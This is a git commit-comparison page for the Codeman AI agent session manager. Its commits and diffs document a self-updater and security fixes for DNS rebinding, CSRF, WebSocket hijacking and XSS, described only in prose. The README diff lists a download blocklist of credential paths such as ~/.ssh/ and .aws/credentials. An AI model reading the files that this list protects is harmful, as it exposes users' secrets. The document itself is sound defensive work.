Compare commits

...
Author SHA1 Message Date
arkonandClaude Opus 4.8 3afb7a66dc chore: version packages
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 12:34:44 +02:00
arkonandClaude Opus 4.8 8fc139d671 docs: refresh README + document v0.9.5 security hardening
README: add a dedicated Security section (always-on Host/Origin
allowlist & DNS-rebinding defense, cross-site CSRF guard, raw
text/plain parser, WebSocket origin validation, XSS-escaped agent
output), plus an Orchestrator Loop section, Agent Teams, and a
More Features section (self-update, dual-CLI, effort/ultracode,
voice, image, gesture, multi-monitor, CJK). Correct stale stats
(tests 1435->2861, 13->15 route modules, 14->16 types, 9->10
config, server.ts 2697->2254, 9->18 frontend modules), fix the
keyboard-shortcut table to match the actual registry (drop the
unbound Ctrl+Enter/Ctrl+K), repoint a moved doc link, add
Orchestrator + self-update API rows, and add Orchestrator/Team
Watcher to the architecture diagram.

security-architecture.md: document the always-on Host-header &
Origin allowlist, text/plain hardening, WebSocket check, XSS
escaping, and CODEMAN_ALLOWED_HOSTS.

CLAUDE.md: add Host guard / CSRF guard rows + CODEMAN_ALLOWED_HOSTS.

security review report: add a remediation-status banner (the
pre-fix TL;DR now reads as v0.9.4 state; fixed in c669518).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 04:35:29 +02:00
arkon 5adf044399 chore: version packages 2026-06-09 03:54:17 +02:00
arkonandClaude Opus 4.8 d95b4c597c feat(self-update): live progress during install/build so it doesn't look hung
The updater wrote the status once per phase, so the minute-plus npm install and
build steps left the UI frozen on a single label. Add:

- a heartbeat in scripts/self-update.sh (run_step wrapper) that refreshes
  update-status.json every ~3s during the install/build steps with the latest
  output line; full output is still mirrored to the update log.
- a frontend (settings-ui.js) that, during non-terminal phases, shows the live
  status message plus a ticking total-elapsed counter instead of only the static
  phase label.

Takes effect when updating FROM a build that contains it — the detached runner
script (staged from scripts/self-update.sh) and the polling frontend are both
the from-version's copies.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 03:36:39 +02:00
arkon e82e38e68d chore: version packages 2026-06-09 03:26:25 +02:00
arkonandClaude Opus 4.8 c669518ba0 fix(security): block DNS rebinding + cross-site CSRF + subagent-panel XSS
Adds an always-on Host-header allowlist and a cross-site Origin/CSRF guard,
hardens the text/plain body parser, validates the WebSocket upgrade origin,
and escapes AI-derived fields in the subagent panel. Closes the two
CRITICALs and 5 HIGHs from the 2026-06-09 adversarial security review.

- C1: no Host allowlist -> DNS rebinding drove the full API (RCE) on the
  default no-auth loopback install. New registerHostGuard rejects rebound
  custom domains; allows loopback, any IP literal, the bind host,
  *.ts.net / *.trycloudflare.com / *.cfargotunnel.com, the active managed
  tunnel, and CODEMAN_ALLOWED_HOSTS.
- C2: a global text/plain parser JSON-parsed every body, enabling cross-site
  simple-request CSRF. Parser now keeps the raw string; /api/crash-diag
  self-parses; the global Origin guard rejects cross-site state changes.
- H1/H3/H6: self-update, session create/input, and settings/tunnel toggles
  were CSRF-triggerable -> now covered by the Origin guard.
- H4: the subagent activity panel injected raw AI tool names/inputs into
  innerHTML (executed under CSP 'unsafe-inline'). All sinks now escapeHtml'd.
- H5: the WebSocket upgrade had no Origin/Host check (CSWSH) -> now validated.

A missing Origin is allowed so curl/CLI and Claude Code hooks keep working;
custom reverse-proxy domains need CODEMAN_ALLOWED_HOSTS=host,.suffix.

Deferred: H2 (self-update tag signing, needs signing infra) and CSP
'unsafe-inline' removal (needs a nonce migration).

Tests: test/network-host-guard.test.ts (19), test/routes/ws-routes.test.ts
updated. Report: docs/reports/security-review-2026-06-09.md

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 03:19:51 +02:00
arkonandClaude Opus 4.8 3a56ea4978 chore: version packages
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 01:56:49 +02:00
arkonandClaude Opus 4.8 543be8a85b feat: add in-app self-updater (App Settings → Updates)
Update Codeman from the web UI: a "Check for updates" button queries GitHub
for the latest tagged release (git ls-remote fallback) and shows release
notes; "Update now" runs git checkout <tag> → npm install → npm run build →
restart, streaming live progress that survives the service restart.

- Release-tag channel; dirty trees auto-stashed (left for manual git stash pop)
- Cross-platform restart: systemd / launchd / manual, detected at runtime
- Updater runs detached (systemd-run --scope on Linux, setsid on macOS) so the
  restart it triggers can't kill the build mid-flight
- Build-failure rollback to the pre-update commit; boot reconcile with an
  update-id/freshness guard; 409 concurrency lock; runner staged outside the
  repo; strict tag validation; CODEMAN_DISABLE_SELF_UPDATE kill-switch
- Endpoints: GET /api/system/update/check, POST /api/system/update,
  GET /api/system/update/status

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 01:55:54 +02:00
arkonandClaude Opus 4.8 3503b6ae55 docs(security): add trust model, CSP detail, and source-file map
Expand docs/security-architecture.md:
- Add a table-of-contents and an explicit "Trust model" section
  framing the security boundary as network-bind + auth (not a
  sandbox around --dangerously-skip-permissions), with an
  actor/granted matrix and out-of-scope notes.
- Clarify the file-serving hardening: the octet-stream + attachment
  + nosniff combination (not the CSP, which allows 'unsafe-inline')
  is what blocks SVG/HTML execution.
- Detail the actual transport security headers: enumerated CSP
  widenings (cdn.jsdelivr.net, deepgram wss, data:/blob: img-src,
  gesture wasm opt-in), HSTS, X-Frame-Options, localhost-only CORS.
- Add a "Key source files" table and a dated maintenance note.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 00:52:27 +02:00
arkonandClaude Opus 4.8 84b59567b1 fix(sse): sync frontend SSE_EVENTS registry with backend
Add the 30 SSE event constants that existed in the backend
src/web/sse-events.ts but were missing from the frontend
SSE_EVENTS object in constants.js, bringing both registries to
an exact 120-event match:

- Session lifecycle: autoCompact, message, interactive, running
- Session: Plan (new): planTaskUpdate, planCheckpoint, planRollback,
  planTaskAdded
- Respawn: cycleCompleted, stepSent, stepCompleted, aiCheck* (4),
  planCheck* (3), log, configUpdated
- Scheduled: log, deleted
- Teams (new): created, updated, removed, taskUpdated
- Transcript (new): complete, plan_mode, tool_start, tool_end

Purely additive registry constants (none were referenced by raw
string in the frontend, so no behavior changes). Also refresh the
now-accurate event-count JSDoc on both files, and fix the files()
route handler count in CLAUDE.md (5 -> 6).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-09 00:50:34 +02:00
26 changed files with 2779 additions and 68 deletions
+49
View File
@@ -1,5 +1,54 @@
# aicodeman
## 0.9.7
### Patch Changes
- Fix installer failure on corrupt puppeteer cache + add Simplified Chinese README.
- **Installer / self-update reliability**: The universal installer (`install.sh`) and the in-app self-updater (`scripts/self-update.sh`) now set `PUPPETEER_SKIP_DOWNLOAD=1` before `npm install`. `puppeteer` is a devDependency used only by `scripts/browser-comparison.mjs`; its ~150MB `chrome-headless-shell` download is never needed to build or run Codeman. Previously, a partially-downloaded browser cache (folder present, executable missing) made puppeteer refuse to re-download and abort `npm install`, which failed the entire install/update — most visibly on macOS (`mac_arm`). The download is now skipped on both paths; callers can still opt back in with `PUPPETEER_SKIP_DOWNLOAD=0`.
- **Docs**: Added a Simplified Chinese translation of the README (`README.zh-CN.md`) with an English/中文 language switcher in `README.md`. Refreshed the README and documented the v0.9.5 security hardening (Host-header/DNS-rebinding guard, cross-site Origin/CSRF guard, anti-CSWSH WebSocket validation).
## 0.9.6
### Patch Changes
- Self-updater: show live progress during the slow steps so an update no longer looks frozen.
- The detached update runner (`scripts/self-update.sh`) now emits a heartbeat every few seconds during `npm install` and `npm run build`, refreshing the update status with the latest output line (full output is still written to the update log).
- App Settings → Updates now shows the live status message plus a ticking elapsed-time counter during non-terminal phases, instead of only a static phase label.
This takes effect when updating _from_ a build that includes it — the detached runner script and the polling UI are both the from-version's copies.
## 0.9.5
### Patch Changes
- Security hardening from the 2026-06-09 adversarial review — close the remote-exploit paths that affected the default (loopback + no-password) configuration. Full report: `docs/reports/security-review-2026-06-09.md`.
- **Anti-DNS-rebinding Host allowlist (always on).** A new request guard rejects requests whose `Host` is a custom domain rebound to a loopback/LAN address — previously a website the operator merely visited could DNS-rebind to `127.0.0.1` and drive the entire API (arbitrary command execution, since sessions run `--dangerously-skip-permissions`). The allowlist accepts `localhost`, any bare IP literal, the bind host, `*.ts.net` / `*.trycloudflare.com` / `*.cfargotunnel.com`, the active managed tunnel, and anything in the new `CODEMAN_ALLOWED_HOSTS` env var (comma-separated; `host` or leading-dot `.suffix`).
- **Cross-site (CSRF) Origin guard on all state-changing requests.** Forged cross-site requests are rejected; a missing `Origin` is allowed so `curl`/CLI automation and Claude Code hooks keep working. This closes the previously CSRF-triggerable self-update, session create/input, and settings/tunnel-toggle endpoints.
- **`text/plain` body parser no longer JSON-parses every request body** (which let a cross-site "simple request" submit JSON with no CORS preflight). The crash-diagnostics beacon now parses its own body.
- **WebSocket terminal upgrade now validates `Origin`/`Host`** (blocks cross-site WebSocket hijacking that could inject keystrokes into a running agent).
- **Stored-XSS fix:** AI-/transcript-derived fields (tool name, tool detail, tool id, hook text) in the subagent activity panel are now HTML-escaped.
Operational note: if you front Codeman with a custom reverse-proxy domain, allow it via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. Setting `CODEMAN_PASSWORD` also fully mitigates these via the existing auth hook.
## 0.9.4
### Patch Changes
- In-app self-updater, plus the SSE-registry and security-doc changes since 0.9.3.
**New: update Codeman from the web UI (App Settings → Updates).** A "Check for updates" button asks the server to query GitHub for the latest tagged release (falling back to `git ls-remote`) and shows its release notes; "Update now" then runs the full `git checkout <tag>` → `npm install` → `npm run build` → restart cycle and streams live progress that survives the service restart (the browser polls a status file across the connection drop).
- **Channel:** latest tagged release (e.g. `codeman@0.9.4`), not bleeding-edge master.
- **Dirty working trees are auto-stashed** (`git stash`, left for you to `git stash pop`) instead of discarded.
- **Cross-platform restart**, detected from the running process: systemd (`systemctl --user restart codeman-web`) on Linux, launchd (`launchctl kickstart`) on macOS, or a printed manual command otherwise.
- **Survives its own restart:** the updater runs detached in a transient `systemd-run --user --scope` (Linux) or `setsid` session (macOS), so the restart it triggers cannot kill the build mid-flight.
- **Safety:** build failure rolls back to the pre-update commit (never restarts into a half-built `dist/`); the pre-restart status marker is reconciled on boot with an update-id + freshness guard so a normal reboot is not misreported as a completed update; concurrent updates are rejected (409); the runner script is staged outside the repo so `git checkout` cannot corrupt it mid-run; release tags are strictly validated before reaching the shell; `CODEMAN_DISABLE_SELF_UPDATE=1` disables the feature; non-git (npm-global) installs are detected and pointed at `npm i -g aicodeman@latest`.
- New endpoints: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`.
**Also in this release:**
- Sync the frontend `SSE_EVENTS` registry (`constants.js`) with the backend `sse-events.ts` so every broadcast event has a matching frontend entry.
- Expand `docs/security-architecture.md` with the trust model, CSP detail, and a source-file map.
## 0.9.3
### Patch Changes
+10 -6
View File
@@ -56,7 +56,7 @@ When user says "COM":
CI runs `npm run check:lockfile` on every push/PR, so lockfile drift fails the build even if the `version-packages` script is bypassed.
**Version**: 0.9.3 (must match `package.json`)
**Version**: 0.9.7 (must match `package.json`)
## Project Overview
@@ -126,9 +126,9 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
| **State** | `src/state-store.ts`, `src/run-summary.ts`, `src/session-lifecycle-log.ts` | |
| **Infra** | `src/hooks-config.ts`, `src/push-store.ts`, `src/tunnel-manager.ts`, `src/image-watcher.ts`, `src/file-stream-manager.ts` | |
| **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/claude-md.ts` | |
| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (15 route modules + barrel), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts` | |
| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (15 route modules + barrel), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts`, `src/web/self-update.ts` | |
| **Frontend** | `src/web/public/app.js` (~3.4K lines, core) + 5 infra modules (`constants.js`, `mobile-handlers.js`, `voice-input.js`, `notification-manager.js`, `keyboard-accessory.js`) + 7 domain modules (`terminal-ui.js`, `respawn-ui.js`, `ralph-panel.js`, `orchestrator-panel.js`, `settings-ui.js`, `panels-ui.js`, `session-ui.js`) + 5 feature modules (`ralph-wizard.js`, `api-client.js`, `subagent-windows.js`, `input-cjk.js`, `image-input.js`) + `sw.js` | |
| **Types** | `src/types/index.ts` (barrel) → 14 domain files; also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
| **Types** | `src/types/index.ts` (barrel) → 15 domain files; also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
★ = Large file (>50KB). All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.
@@ -159,6 +159,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
**Self-update** (App Settings → Updates): in-app updater for **git-clone installs** supervised by systemd/launchd. The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` (`git checkout <release tag> && npm install && npm run build && restart`) that outlives the restart; it writes progress to `dataPath('update-status.json')`, which the browser polls across the connection drop. Channel = latest `codeman@X.Y.Z` release tag; dirty trees are auto-stashed. `src/web/self-update.ts` splits PURE helpers (semver/tag parsing, reconcile decision — unit-tested) from IO wrappers (`getInstallInfo`/`checkForUpdate`/`startUpdate`/`reconcileUpdateOnBoot`). Routes: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`. Types: `src/types/update.ts`. npm installs report as non-updatable.
**Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).
### Frontend
@@ -185,11 +187,13 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
|-------|---------|
| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME` (defaults to `admin`) / `CODEMAN_PASSWORD` env vars. Active only when `CODEMAN_PASSWORD` is set (`middleware/auth.ts`) |
| **Network bind** | Defaults to `127.0.0.1` (loopback). A non-loopback bind (`--host`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **starts but warns loudly** (0.9.0; was fail-closed in COD-29/#107). `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges the warning. Classifier: `network-auth-policy.ts` |
| **Host guard** | Always-on Host-header allowlist blocks DNS rebinding (RCE on the default no-auth loopback install). Allows loopback, any IP literal, the bind host, `*.ts.net`/`*.trycloudflare.com`/`*.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS`. ⚠️ **Custom reverse-proxy domains are rejected** unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. `registerHostGuard` in `server.ts`; policy in `network-auth-policy.ts` (`buildHostPolicy`/`isAllowedRequestHost`/`isAllowedRequestOrigin`) |
| **CSRF / Origin** | Always-on cross-site Origin guard rejects state-changing requests from foreign origins (covers self-update, session create/input, settings/tunnel toggles). **A missing Origin is allowed** so curl/CLI and Claude Code hooks keep working. The global body parser keeps `text/plain` RAW (no auto-JSON-parse, which had enabled simple-request CSRF); `/api/crash-diag` self-parses. WebSocket upgrade validates Origin+Host (anti-CSWSH) in `ws-routes.ts`. Added in `c669518` (closes 2026-06-09 review CRITICALs) |
| **QR Auth** | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md` |
| **Sessions** | 24h cookie (`codeman_session`), auto-extend, device context audit |
| **Rate limit** | 10 failed auth/IP → 429 (15min decay). QR has separate limiter |
| **Hook bypass** | `/api/hook-event` exempt from auth (localhost-only, schema-validated) |
| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks) |
| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks), `CODEMAN_ALLOWED_HOSTS` (extra Host/Origin allowlist entries for reverse proxies, comma-separated; bare `.suffix` matches subdomains) |
| **Validation** | Zod schemas, path allowlist regex, `CLAUDE_CODE_*` env prefix allowlist |
| **Headers** | CORS localhost-only, CSP, X-Frame-Options, HSTS if HTTPS |
@@ -199,7 +203,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
### API Routes
~130 handlers across 15 route files in `src/web/routes/`: system (37, incl. `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`), sessions (28), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (5), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
~134 handlers across 15 route files in `src/web/routes/`: system (40, incl. self-update `check`/`status`/`POST /api/system/update` + `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`), sessions (28), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (6), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
## Adding Features
@@ -214,7 +218,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
## State Files
All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log).
All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart).
## Testing
+103 -15
View File
@@ -5,7 +5,11 @@
<h2 align="center">The missing control plane for AI coding agents</h2>
<p align="center">
<em>Agent Visualization &bull; Zero-Lag Input Overlay &bull; Mobile-First UI &bull; Respawn Controller &bull; Multi-Session Dashboard </em>
<em>Agent Visualization &bull; Zero-Lag Input &bull; Autonomous Orchestrator &bull; Respawn Controller &bull; Mobile-First UI &bull; Hardened Security</em>
</p>
<p align="center">
<strong>English</strong> &bull; <a href="README.zh-CN.md">简体中文</a>
</p>
<p align="center">
@@ -13,7 +17,7 @@
<a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
<a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
<a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
<img src="https://img.shields.io/badge/Tests-1435%20total-22c55e?style=flat-square" alt="Tests">
<img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
</p>
<p align="center">
@@ -34,7 +38,7 @@ You'll need at least one AI coding CLI installed — [Claude Code](https://docs.
```bash
codeman web
# Open http://localhost:3000 — press Ctrl+Enter to start your first session
# Open http://localhost:3000 and start your first session
```
<details>
@@ -177,6 +181,8 @@ Watch background agents work in real-time. Codeman monitors agent activity and d
- **Auto-behavior** — windows auto-open on spawn, auto-minimize on completion, tab badge shows "AGENT" or "AGENTS (n)" count
- **Nested agents** — supports 3-level hierarchies (lead session -> teammate agents -> sub-subagents)
**Agent Teams** — first-class support for Claude Code's native multi-agent teams (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`). `TeamWatcher` polls `~/.claude/teams/`, matches teammates to their lead session, and surfaces them as live subagent windows with **team-aware idle detection** — so the Respawn Controller won't fire while teammates are still working. See [`docs/agent-teams/`](docs/agent-teams/).
---
## Zero-Lag Input Overlay
@@ -214,6 +220,20 @@ WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE →
---
## Orchestrator Loop
Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts
- **Driven from the UI or API** — the Orchestrator panel, or `POST /api/orchestrator/start` → `/approve` → `/status` (10 endpoints)
> Distinct from Ralph (a single-session autonomous loop): the orchestrator coordinates multi-phase, multi-agent execution. Full design: [`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md).
---
## Multi-Session Dashboard
Run **20 parallel sessions** with full visibility — real-time xterm.js terminals at 60fps, per-session token and cost tracking, tab-based navigation, and one-click management.
@@ -270,6 +290,20 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
---
## More Features
- **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable)
- **Dual-CLI** — run **Claude Code** or **OpenCode** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md)
- **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too
- **Voice input** — dictate prompts with Deepgram Nova-3 (Web Speech API fallback): toggle recording, auto-silence stop, live level meter (`Ctrl+Shift+V`)
- **Image input** — paste or drag-and-drop images straight into a session
- **Gesture control** *(opt-in)* — a MediaPipe hand-tracking overlay to grab/drag session windows and pinch buttons, hands-free. Enable with `CODEMAN_GESTURE=1` + App Settings → Display
- **Multi-monitor span** *(macOS)* — one click opens a browser window maximized across all displays, so floating agent/gesture panels can cross the physical seam
- **CJK / IME input** — full composition support for Chinese / Japanese / Korean
- **OS notifications & hostname-aware titles** — desktop alerts and tab titles are prefixed `codeman:<host>` so multi-host setups stay unambiguous
---
## Remote Access — Cloudflare Tunnel
Access Codeman from your phone or any device outside your local network using a free [Cloudflare quick tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/) — no port forwarding, no DNS, no static IP required.
@@ -391,6 +425,41 @@ When someone authenticates via QR, the desktop shows a notification toast with t
---
## Security
Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control *who* that is. Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md).
### Network & access
- **Loopback by default** — binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers *immediately* even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
### Always-on browser hardening (v0.9.5)
These run for **every** request — before auth, even on the default no-password loopback install:
- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A *missing* Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels
### Input, files & headers
- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` env-prefix allowlist gates which settings each CLI can receive
- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
### Supply chain & isolation
- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions
> Mobile login uses single-use, 60-second QR tokens — see [QR Code Authentication](#qr-code-authentication) above for the full design (it addresses all 6 flaws from USENIX Security 2025's QR-login study).
---
## SSH Alternative (`sc`)
If you prefer SSH (Termius, Blink, etc.), the `sc` command is a thumb-friendly session chooser:
@@ -407,24 +476,28 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
## Keyboard Shortcuts
> Ctrl bindings also accept Cmd on macOS.
| Shortcut | Action |
|----------|--------|
| `Ctrl+Enter` | Quick-start session |
| `Ctrl+W` | Close session |
| `Ctrl+Tab` | Next session |
| `Ctrl/Cmd+W` | Kill active session |
| `Ctrl/Cmd+Tab` | Next session |
| `Alt+1`–`Alt+9` | Switch to tab N |
| `Ctrl+Shift+{` / `Ctrl+Shift+}` | Move active tab left / right |
| `Ctrl+K` | Kill all sessions |
| `Ctrl+L` | Clear terminal |
| `Ctrl/Cmd+L` | Clear terminal |
| `Ctrl+Shift+R` | Restore terminal size |
| `Ctrl+Shift+V` | Toggle voice input |
| `Ctrl/Cmd +/-` | Font size |
| `Escape` | Close panels |
| `Ctrl/Cmd +` / `-` | Font size |
| `Ctrl/Cmd+?` | Keyboard help |
| `Shift+Enter` | Insert newline (sent to terminal) |
| `Escape` | Close panels & modals |
---
## API
REST over Fastify — **~140 handlers across 15 route modules**, plus an SSE stream and a WebSocket terminal channel. A representative subset:
### Sessions
| Method | Endpoint | Description |
|--------|----------|-------------|
@@ -446,6 +519,14 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
| `GET` | `/api/sessions/:id/ralph-state` | Get loop state + todos |
| `POST` | `/api/sessions/:id/ralph-config` | Configure tracking |
### Orchestrator
| Method | Endpoint | Description |
|--------|----------|-------------|
| `POST` | `/api/orchestrator/start` | Start orchestration from a goal |
| `POST` | `/api/orchestrator/approve` | Approve the generated plan |
| `GET` | `/api/orchestrator/status` | Current phase + progress |
| `POST` | `/api/orchestrator/stop` | Stop and clean up |
### Subagents
| Method | Endpoint | Description |
|--------|----------|-------------|
@@ -460,6 +541,8 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
| `GET` | `/api/events` | SSE stream |
| `GET` | `/api/status` | Full app state |
| `POST` | `/api/hook-event` | Hook callbacks |
| `GET` | `/api/system/update/check` | Check for a new release |
| `POST` | `/api/system/update` | Self-update (git-clone installs) |
| `POST` | `/api/clipboard` | Push text to all connected browsers (`{text}`) |
| `GET` | `/api/sessions/:id/run-summary` | Timeline + stats |
@@ -481,11 +564,13 @@ flowchart TB
S1["Session (PTY)"]
S2["Session (PTY)"]
RC["Respawn Controller"]
ORC["Orchestrator Loop"]
end
subgraph Detection["Detection Layer"]
RT["Ralph Tracker"]
SW["Subagent Watcher<br/><small>~/.claude/projects/*/subagents</small>"]
TW["Team Watcher<br/><small>~/.claude/teams/*</small>"]
end
subgraph Persistence["Persistence Layer"]
@@ -505,14 +590,17 @@ flowchart TB
SM --> S1
SM --> S2
SM --> RC
SM --> ORC
SM --> SS
S1 --> RT
S1 --> SCR
S2 --> SCR
RC --> SCR
ORC --> SCR
SCR --> CLI
SW --> BG
SW --> SSE
TW --> SSE
```
---
@@ -537,13 +625,13 @@ The codebase went through a comprehensive 7-phase refactoring that eliminated go
| Phase | What changed | Impact |
|-------|-------------|--------|
| **Performance** | Cached endpoints, SSE adaptive batching, buffer chunking | Sub-16ms terminal latency |
| **Route extraction** | `server.ts` split into 13 domain route modules + auth middleware + port interfaces | **−60%** server.ts LOC (6,736 → 2,697) |
